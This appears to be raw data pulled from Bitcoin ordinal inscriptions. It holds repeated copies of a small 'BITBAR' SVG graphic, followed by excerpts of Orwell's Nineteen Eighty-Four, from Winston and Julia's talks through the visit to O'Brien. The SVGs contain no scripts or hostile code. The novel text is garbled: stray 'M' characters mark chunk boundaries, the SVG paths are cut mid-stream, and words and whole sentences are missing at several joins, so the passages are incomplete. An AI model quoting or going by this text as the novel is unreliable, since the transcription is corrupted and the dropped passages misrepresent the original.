9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
text/plain;charset=utf-8
The following piece is part of the George Ordwell project; an ordinal project inscribing notable works on-chain as artefacts.
Title: Nineteen Eighty-Four
------------------------------------------------------------------
There were times when the fact of impending death seemed as palpable as the bed they lay on, and they would cling together with a sort of despairing sensuality, like a damned soul grasping at his last morsel of pleasure when the clock is within five minutes of strikingM
. But there were also times when they had the illusion not only of safety but of permanence. So long as they were actually in this room, they both felt, no harm could come to them. Getting there was difficult and dangerous, but the room itself was sanctuary. It was as when Winston had gazed into the heart of the paperweight, with the feeling that it would be possible to get inside that glassy world, and that once inside it time could be arrested. Often they gave themselves up to daydreams of escape. Their luck woulM
d hold indefinitely, and they would carry on their intrigue, just like this, for the remainder of their natural lives. Or Katharine would die, and by subtle maneuverings Winston and Julia would succeed in getting married. Or they would commit suicide together. Or they would disappear, alter themselves out of recognition, learn to speak with proletarian accents, get jobs in a factory, and live out their lives undetected in a back street. It was all nonsense, as they both knew. In reality there was no escape. Even thM
e one plan that was practicable, suicide, they had no intention of carrying out. To hang on from day to day and from week to week, spinning out a present that had no future, seemed an unconquerable instinct, just as one's lungs will always draw the next breath so long as there is air available.
Sometimes, too, they talked of engaging in active rebellion against the Party, but with no notion of how to take the first step. Even if the fabulous Brotherhood was a reality, there still remained the difficulty of findingM
 one's way into it. He told her of the strange intimacy that existed, or seemed to exist, between himself and O'Brien, and of the impulse he sometimes felt simply to walk into O'Brien's presence, announce that he was the enemy of the Party, and demand his help. Curiously enough this did not strike her as an impossibly rash thing to do. She was used to judging people by their faces, and it seemed natural to her that Winston should believe O'Brien to be trustworthy on the strength of a single flash of the eyes. MoreoM
ver she took it for granted that everyone, or nearly everyone, secretly hated the Party and would break the rules if he thought it safe to do so. But she refused to believe that widespread, organized opposition existed or could exist. The tales about Goldstein and his underground army, she said, were simply a lot of rubbish which the Party had invented for its own purposes and which you had to pretend to believe in. Times beyond number, at Party rallies and spontaneous demonstrations, she had shouted at the top of M
her voice for the execution of people whose names she had never heard and in whose supposed crimes she had not the faintest belief. When public trials were happening she had taken her place in the detachments from the Youth League who surrounded the courts from morning to night, chanting at intervals "Death to the traitors!" During the Two Minutes Hate she always excelled all others in shouting insults at Goldstein. Yet she had only the dimmest idea of who Goldstein was and what doctrines he was supposed to represeM
nt. She had grown up since the Revolution and was too young to remember the ideological battles of the Fifties and Sixties. Such a thing as an independent political movement was outside her imagination; and in any case the Party was invincible. It would always exist, and it would always be the same. You could only rebel against it by secret disobedience or, at most, by isolated acts of violence such as killing somebody or blowing something up.
In some ways she was far more acute than Winston, and far less susceptiM
ble to Party propaganda. Once when he happened in some connection to mention the war against Eurasia, she startled him by saying casually that in her opinion the war was not happening. The rocket bombs which fell daily on London were probably fired by the Government of Oceania itself, "just to keep people frightened." This was an idea that had literally never occurred to him. She also stirred a sort of envy in him by telling him that during the Two Minutes Hate her great difficulty was to avoid bursting out laughinM
g. But she only questioned the teachings of the Party when they in some way touched upon her own life. Often she was ready to accept the official mythology, simply because the difference between truth and falsehood did not seem important to her. She believed, for instance, having learnt it at school, that the Party had invented airplanes. (In his own schooldays, Winston remembered, in the late Fifties, it was only the helicopter that the Party claimed to have invented; a dozen years later, when Julia was at school,M
 it was already claiming the airplane; one generation more, and it would be claiming the steam engine.) And when he told her that airplanes had been in existence before he was born, and long before the Revolution, the fact struck her as totally uninteresting. After all, what did it matter who had invented airplanes? It was rather more of a shock to him when he discovered from some chance remark that she did not remember that Oceania, four years ago, had been at war with Eastasia and at peace with Eurasia. It was trM
ue that she regarded the whole war as a sham; but apparently she had not even noticed that the name of the enemy had changed. "I thought we'd always been at war with Eurasia," she said vaguely. It frightened him a little. The invention of airplanes dated from long before her birth, but the switch-over in the war had happened only four years ago, well after she was grown up. He argued with her about it for perhaps a quarter of an hour. In the end he succeeded in forcing her memory back until she did dimly recall thaM
t at one time Eastasia and not Eurasia had been the enemy. But the issue still struck her as unimportant. "Who cares?" she said impatiently. "It's always one bloody war after another, and one knows the news is all lies anyway."
Sometimes he talked to her of the Records Department and the impudent forgeries that he committed there. Such things did not appear to horrify her. She did not feel the abyss opening beneath her feet at the thought of lies becoming truths. He told her the story of Jones, Aaronson, and RutheM
rford and the momentous slip of paper which he had once held between his fingers. It did not make much impression on her. At first, indeed, she failed to grasp the point of the story.
"Were they friends of yours?" she said.
"No, I never knew them. They were Inner Party members. Besides, they were far older men than I was. They belonged to the old days, before the Revolution. I barely knew them by sight."
"Then what was there to worry about? People are being killed off all the time, aren't they?"
e her understand. "This was an exceptional case. It wasn't just a question of somebody being killed. Do you realize that the past, starting from yesterday, has been actually abolished? If it survives anywhere, it's in a few solid objects with no words attached to them, like that lump of glass there. Already we know almost literally nothing about the Revolution and the years before the Revolution. Every record has been destroyed or falsified, every book has been rewritten, every picture has been repainted, every staM
tue and street and building has been renamed, every date has been altered. And that process is continuing day by day and minute by minute. History has stopped. Nothing exists except an endless present in which the Party is always right. I know, of course, that the past is falsified, but it would never be possible for me to prove it, even when I did the falsification myself. After the thing is done, no evidence ever remains. The only evidence is inside my own mind, and I don't know with any certainty that any other M
human being shares my memories. Just in that one instance, in my whole life, I did possess actual concrete evidence after the event
"And what good was that?"
"It was no good, because I threw it away a few minutes later. But if the same thing happened today, I should keep it."
"Well, I wouldn't!" said Julia. "I'm quite ready to take risks, but only for something worth while, not for bits of old newspaper. What could you have done with it even if you had kept it?"
"Not much, perhaps. But it wasM
 evidence. It might have planted a few doubts here and there, supposing that I'd dared to show it to anybody. I don't imagine that we can alter anything in our own lifetime. But one can imagine little knots of resistance springing up here and there
small groups of people banding themselves together, and gradually growing, and even leaving a few records behind, so that the next generation can carry on where we leave off."
"I'm not interested in the next generation, dear. I'm interested in us."
el from the waist downwards," he told her.
She thought this brilliantly witty and flung her arms round him in delight.
In the ramifications of Party doctrine she had not the faintest interest. Whenever he began to talk of the principles of Ingsoc, doublethink, the mutability of the past and the denial of objective reality, and to use Newspeak words, she became bored and confused and said that she never paid any attention to that kind of thing. One knew that it was all rubbish, so why let oneself be worried by it?M
 She knew when to cheer and when to boo, and that was all one needed. If he persisted in talking of such subjects, she had a disconcerting habit of falling asleep. She was one of those people who can go to sleep at any hour and in any position. Talking to her, he realized how easy it was to present an appearance of orthodoxy while having no grasp whatever of what orthodoxy meant. In a way, the world-view of the Party imposed itself most successfully on people incapable of understanding it. They could be made to accM
ept the most flagrant violations of reality, because they never fully grasped the enormity of what was demanded of them, and were not sufficiently interested in public events to notice what was happening. By lack of understanding they remained sane. They simply swallowed everything, and what they swallowed did them no harm, because it left no residue behind, just as a grain of corn will pass undigested through the body of a bird.
It had happened at last. The expected message had come. All his life, it seemed toM
 him, he had been waiting for this to happen.
He was walking down the long corridor at the Ministry, and he was almost at the spot where Julia had slipped the note into his hand when he became aware that someone larger than himself was walking just behind him. The person, whoever it was, gave a small cough, evidently as a prelude to speaking. Winston stopped abruptly and turned. It was O'Brien.
At last they were face to face, and it seemed that his only impulse was to run away. His heart bounded violently. He wouM
ld have been incapable of speaking. O'Brien, however, had continued forward in the same movement, laying a friendly hand for a moment on Winston's arm, so that the two of them were walking side by side. He began speaking with the peculiar grave courtesy that differentiated him from the majority of Inner Party members.
"I had been hoping for an opportunity of talking to you," he said. "I was reading one of your Newspeak articles in the Times the other day. You take a scholarly interest in Newspeak, I believe?"
ston had recovered part of his self-possession. "Hardly scholarly," he said. "I'm only an amateur. It's not my subject. I have never had anything to do with the actual construction of the language."
"But you write it very elegantly," said O'Brien. "That is not only my own opinion. I was talking recently to a friend of yours who is certainly an expert. His name has slipped my memory for the moment."
Again Winston's heart stirred painfully. It was inconceivable that this was anything other than a reference to Syme.M
 But Syme was not only dead, he was abolished, an unperson. Any identifiable reference to him would have been mortally dangerous. O'Brien's remark must obviously have been intended as a signal, a code word. By sharing a small act of thoughtcrime he had turned the two of them into accomplices. They had continued to stroll slowly down the corridor, but now O'Brien halted. With the curious, disarming friendliness that he always managed to put into the gesture, he resettled his spectacles on his nose. Then he went on:
"What I had really intended to say was that in your article I noticed you had used two words which have become obsolete. But they have only become so very recently. Have you seen the tenth edition of the Newspeak dictionary?"
"No," said Winston. "I didn't think it had been issued yet. We are still using the ninth in the Records Department."
"The tenth edition is not due to appear for some months, I believe. But a few advance copies have been circulated. I have one myself. It might interest you to look at it, perM
"Very much so," said Winston, immediately seeing where this tended.
"Some of the new developments are most ingenious. The reduction in the number of verbs
that is the point that will appeal to you, I think. Let me see, shall I send a messenger to you with the dictionary? But I am afraid I invariably forget anything of that kind. Perhaps you could pick it up at my flat at some time that suited you? Wait. Let me give you my address."
They were standing in front of a telescreen. Somewhat absent-mindedly O'M
Brien felt two of his pockets and then produced a small leather-covered notebook and a gold ink pencil. Immediately beneath the telescreen, in such a position that anyone who was watching at the other end of the instrument could read what he was writing, he scribbled an address, tore out the page, and handed it to Winston.
"I am usually at home in the evenings," he said. "If not, my servant will give you the dictionary."
He was gone, leaving Winston holding the scrap of paper, which this time there was no need toM
 conceal. Nevertheless he carefully memorized what was written on it, and some hours later dropped it into the memory hole along with a mass of other papers.
They had been talking to one another for a couple of minutes at the most. There was only one meaning that the episode could possibly have. It had been contrived as a way of letting Winston know O'Brien's address. This was necessary, because except by direct inquiry it was never possible to discover where anyone lived. There were no directories of any kind. "IM
f you ever want to see me, this is where I can be found," was what O'Brien had been saying to him. Perhaps there would even be a message concealed somewhere in the dictionary. But at any rate, one thing was certain. The conspiracy that he had dreamed of did exist, and he had reached the outer edges of it.
He knew that sooner or later he would obey O'Brien's summons. Perhaps tomorrow, perhaps after a long delay
he was not certain. What was happening was only the working-out of a process that had started years agoM
. The first step had been a secret, involuntary thought; the second had been the opening of the diary. He had moved from thoughts to words, and now from words to actions. The last step was something that would happen in the Ministry of Love. He had accepted it. The end was contained in the beginning. But it was frightening; or, more exactly, it was like a foretaste of death, like being a little less alive. Even while he was speaking to O'Brien, when the meaning of the words had sunk in, a chilly shuddering feeling M
had taken possession of his body. He had the sensation of stepping into the dampness of a grave, and it was not much better because he had always known that the grave was there and waiting for him.
Winston had woken up with his eyes full of tears. Julia rolled sleepily against him, murmuring something that might have been "What's the matter?"
" he began, and stopped short. It was too complex to be put into words. There was the dream itself, and there was a memory connected with it that had swum inM
to his mind in the few seconds after waking.
He lay back with his eyes shut, still sodden in the atmosphere of the dream. It was a vast, luminous dream in which his whole life seemed to stretch out before him like a landscape on a summer evening after rain. It had all occurred inside the glass paperweight, but the surface of the glass was the dome of the sky, and inside the dome everything was flooded with clear soft light in which one could see into interminable distances. The dream had also been comprehended by
indeed, in some sense it had consisted in
a gesture of the arm made by his mother, and made again thirty years later by the Jewish woman he had seen on the news film, trying to shelter the small boy from the bullets, before the helicopters blew them both to pieces.
"Do you know," he said, "that until this moment I believed I had murdered my mother?"
"Why did you murder her?" said Julia, almost asleep.
"I didn't murder her. Not physically."
In the dream he had remembered his last glimpse of his mother, and wM
ithin a few moments of waking the cluster of small events surrounding it had all come back. It was a memory that he must have deliberately pushed out of his consciousness over many years. He was not certain of the date, but he could not have been less than ten years old, possibly twelve, when it had happened.
His father had disappeared some time earlier; how much earlier, he could not remember. He remembered better the rackety, uneasy circumstances of the time: the periodical panics about air raids and the shelterM
ing in Tube stations, the piles of rubble everywhere, the unintelligible proclamations posted at street corners, the gangs of youths in shirts all the same color, the enormous queues outside the bakeries, the intermittent machine-gun fire in the distance
above all, the fact that there was never enough to eat. He remembered long afternoons spent with other boys in scrounging round dustbins and rubbish heaps, picking out the ribs of cabbage leaves, potato peelings, sometimes even scraps of stale breadcrust from whiM
ch they carefully scraped away the cinders; and also in waiting for the passing of trucks which traveled over a certain route and were known to carry cattle feed, and which, when they jolted over the bad patches in the road, sometimes spilt a few fragments of oilcake.
When his father disappeared, his mother did not show any surprise or any violent grief, but a sudden change came over her. She seemed to have become completely spiritless. It was evident even to Winston that she was waiting for something that she kneM
w must happen. She did everything that was needed
cooked, washed, mended, made the bed, swept the floor, dusted the mantelpiece
always very slowly and with a curious lack of superfluous motion, like an artist's lay-figure moving of its own accord. Her large shapely body seemed to relapse naturally into stillness. For hours at a time she would sit almost immobile on the bed, nursing his young sister, a tiny, ailing, very silent child of two or three, with a face made simian by thinness. Very occasionally she wouM
ld take Winston in her arms and press him against her for a long time without saying anything. He was aware, in spite of his youthfulness and selfishness, that this was somehow connected with the never-mentioned thing that was about to happen.
He remembered the room where they lived, a dark, close-smelling room that seemed half filled by a bed with a white counterpane. There was a gas ring in the fender, and a shelf where food was kept, and on the landing outside there was a brown earthenware sink, common to severM
al rooms. He remembered his mother's statuesque body bending over the gas ring to stir at something in a saucepan. Above all he remembered his continuous hunger, and the fierce sordid battles at mealtimes. He would ask his mother naggingly, over and over again, why there was not more food, he would shout and storm at her (he even remembered the tones of his voice, which was beginning to break prematurely and sometimes boomed in a peculiar way), or he would attempt a sniveling note of pathos in his efforts to get moM
re than his share. His mother was quite ready to give him more than his share. She took it for granted that he, "the boy," should have the biggest portion; but however much she gave him he invariably demanded more. At every meal she would beseech him not to be selfish and to remember that his little sister was sick and also needed food, but it was no use. He would cry out with rage when she stopped ladling, he would try to wrench the saucepan and spoon out of her hands, he would grab bits from his sister's plate. HM
e knew that he was starving the other two, but he could not help it; he even felt that he had a right to do it. The clamorous hunger in his belly seemed to justify him. Between meals, if his mother did not stand guard, he was constantly pilfering at the wretched store of food on the shelf.
One day a chocolate ration was issued. There had been no such issue for weeks or months past. He remembered quite clearly that precious little morsel of chocolate. It was a two-ounce slab (they still talked about ounces in thoseM
 days) between the three of them. It was obvious that it ought to be divided into three equal parts. Suddenly, as though he were listening to somebody else, Winston heard himself demanding in a loud booming voice that he should be given the whole piece. His mother told him not to be greedy. There was a long, nagging argument that went round and round, with shouts, whines, tears, remonstrances, bargainings. His tiny sister, clinging to her mother with both hands, exactly like a baby monkey, sat looking over her shouM
lder at him with large, mournful eyes. In the end his mother broke off three-quarters of the chocolate and gave it to Winston, giving the other quarter to his sister. The little girl took hold of it and looked at it dully, perhaps not knowing what it was. Winston stood watching her for a moment. Then with a sudden swift spring he had snatched the piece of chocolate out of his sister's hand and was fleeing for the door.
"Winston, Winston!" his mother called after him. "Come back! Give your sister back her chocolateM
He stopped, but he did not come back. His mother's anxious eyes were fixed on his face. Even now she was thinking about the thing, he did not know what it was, that was on the point of happening. His sister, conscious of having been robbed of something, had set up a feeble wail. His mother drew her arm round the child and pressed its face against her breast. Something in the gesture told him that his sister was dying. He turned and fled down the stairs, with the chocolate growing sticky in his hand.
aw his mother again. After he had devoured the chocolate he felt somewhat ashamed of himself and hung about in the streets for several hours, until hunger drove him home. When he came back his mother had disappeared. This was already becoming normal at that time. Nothing was gone from the room except his mother and his sister. They had not taken any clothes, not even his mother's overcoat. To this day he did not know with any certainty that his mother was dead. It was perfectly possible that she had merely been senM
t to a forced-labor camp. As for his sister, she might have been removed, like Winston himself, to one of the colonies for homeless children (Reclamation Centers, they were called) which had grown up as a result of the civil war; or she might have been sent to the labor camp along with his mother, or simply left somewhere or other to die.
The dream was still vivid in his mind, especially the enveloping, protecting gesture of the arm in which its whole meaning seemed to be contained. His mind went back to another dM
ream of two months ago. Exactly as his mother had sat on the dingy white-quilted bed, with the child clinging to her, so she had sat in the sunken ship, far underneath him and drowning deeper every minute, but still looking up at him through the darkening water.
He told Julia the story of his mother's disappearance. Without opening her eyes she rolled over and settled herself into a more comfortable position.
"I expect you were a beastly little swine in those days," she said indistinctly. "All children are swine.M
"Yes. But the real point of the story
From her breathing it was evident that she was going off to sleep again. He would have liked to continue talking about his mother. He did not suppose, from what he could remember of her, that she had been an unusual woman, still less an intelligent one; and yet she had possessed a kind of nobility, a kind of purity, simply because the standards that she obeyed were private ones. Her feelings were her own, and could not be altered from outside. It would not have occurredM
 to her that an action which is ineffectual thereby becomes meaningless. If you loved someone, you loved him, and when you had nothing else to give, you still gave him love. When the last of the chocolate was gone, his mother had clasped the child in her arms. It was no use, it changed nothing, it did not produce more chocolate, it did not avert the child's death or her own; but it seemed natural to her to do it. The refugee woman in the boat had also covered the little boy with her arm, which was no more use againM
st the bullets than a sheet of paper. The terrible thing that the Party had done was to persuade you that mere impulses, mere feelings, were of no account, while at the same time robbing you of all power over the material world. When once you were in the grip of the Party, what you felt or did not feel, what you did or refrained from doing, made literally no difference. Whatever happened you vanished, and neither you nor your actions were ever heard of again. You were lifted clean out of the stream of history. And M
yet to the people of only two generations ago, this would not have seemed all-important, because they were not attempting to alter history. They were governed by private loyalties which they did not question. What mattered were individual relationships, and a completely helpless gesture, an embrace, a tear, a word spoken to a dying man, could have value in itself. The proles, it suddenly occurred to him, had remained in this condition. They were not loyal to a party or a country or an idea, they were loyal to one aM
nother. For the first time in his life he did not despise the proles or think of them merely as an inert force which would one day spring to life and regenerate the world. The proles had stayed human. They had not become hardened inside. They had held onto the primitive emotions which he himself had to relearn by conscious effort. And in thinking this he remembered, without apparent relevance, how a few weeks ago he had seen a severed hand lying on the pavement and had kicked it into the gutter as though it had beeM
"The proles are human beings," he said aloud. "We are not human."
"Why not?" said Julia, who had woken up again.
He thought for a little while. "Has it ever occurred to you," he said, "that the best thing for us to do would be simply to walk out of here before it's too late, and never see each other again?"
"Yes, dear, it has occurred to me, several times. But I'm not going to do it, all the same."
"We've been lucky," he said, "but it can't last much longer. You're young. You look normal andM
 innocent. If you keep clear of people like me, you might stay alive for another fifty years."
"No. I've thought it all out. What you do, I'm going to do. And don't be too downhearted. I'm rather good at staying alive."
"We may be together for another six months
there's no knowing. At the end we're certain to be apart. Do you realize how utterly alone we shall be? When once they get hold of us there will be nothing, literally nothing, that either of us can do for the other. If I confess, they'll shoot M
you, and if I refuse to confess they'll shoot you just the same. Nothing that I can do or say, or stop myself from saying, will put off your death for as much as five minutes. Neither of us will even know whether the other is alive or dead. We shall be utterly without power of any kind. The one thing that matters is that we shouldn't betray one another, although even that can't make the slightest difference."
"If you mean confessing," she said, "we shall do that, right enough. Everybody always confesses. You can'tM
 help it. They torture you."
"I don't mean confessing. Confession is not betrayal. What you say or do doesn't matter; only feelings matter. If they could make me stop loving you
that would be the real betrayal."
She thought it over. "They can't do that," she said finally. "It's the one thing they can't do. They can make you say anything
but they can't make you believe it. They can't get inside you."
"No," he said a little more hopefully, "no; that's quite true. They can't get inside you. If you caM
n feel that staying human is worth while, even when it can't have any result whatever, you've beaten them."
He thought of the telescreen with its never-sleeping ear. They could spy upon you night and day, but if you kept your head you could still outwit them. With all their cleverness they had never mastered the secret of finding out what another human being was thinking. Perhaps that was less true when you were actually in their hands. One did not know what happened inside the Ministry of Love, but it was possiblM
e to guess: tortures, drags, delicate instruments that registered your nervous reactions, gradual wearing-down by sleeplessness and solitude and persistent questioning. Facts, at any rate, could not be kept hidden. They could be tracked down by inquiry, they could be squeezed out of you by torture. But if the object was not to stay alive but to stay human, what difference did it ultimately make? They could not alter your feelings; for that matter you could not alter them yourself, even if you wanted to. They could M
lay bare in the utmost detail everything that you had done or said or thought; but the inner heart, whose workings were mysterious even to yourself, remained impregnable.
They had done it, they had done it at last!
The room they were standing in was long-shaped and softly lit. The telescreen was dimmed to a low murmur; the richness of the dark-blue carpet gave one the impression of treading on velvet. At the far end of the room O'Brien was sitting at a table under a green-shaded lamp, with a mass of papers oM
n either side of him. He had not bothered to look up when the servant showed Julia and Winston in.
Winston's heart was thumping so hard that he doubted whether he would be able to speak. They had done it, they had done it at last, was all he could think. It had been a rash act to come here at all, and sheer folly to arrive together; though it was true that they had come by different routes and only met on O'Brien's doorstep. But merely to walk into such a place needed an effort of the nerve. It was only on very raM
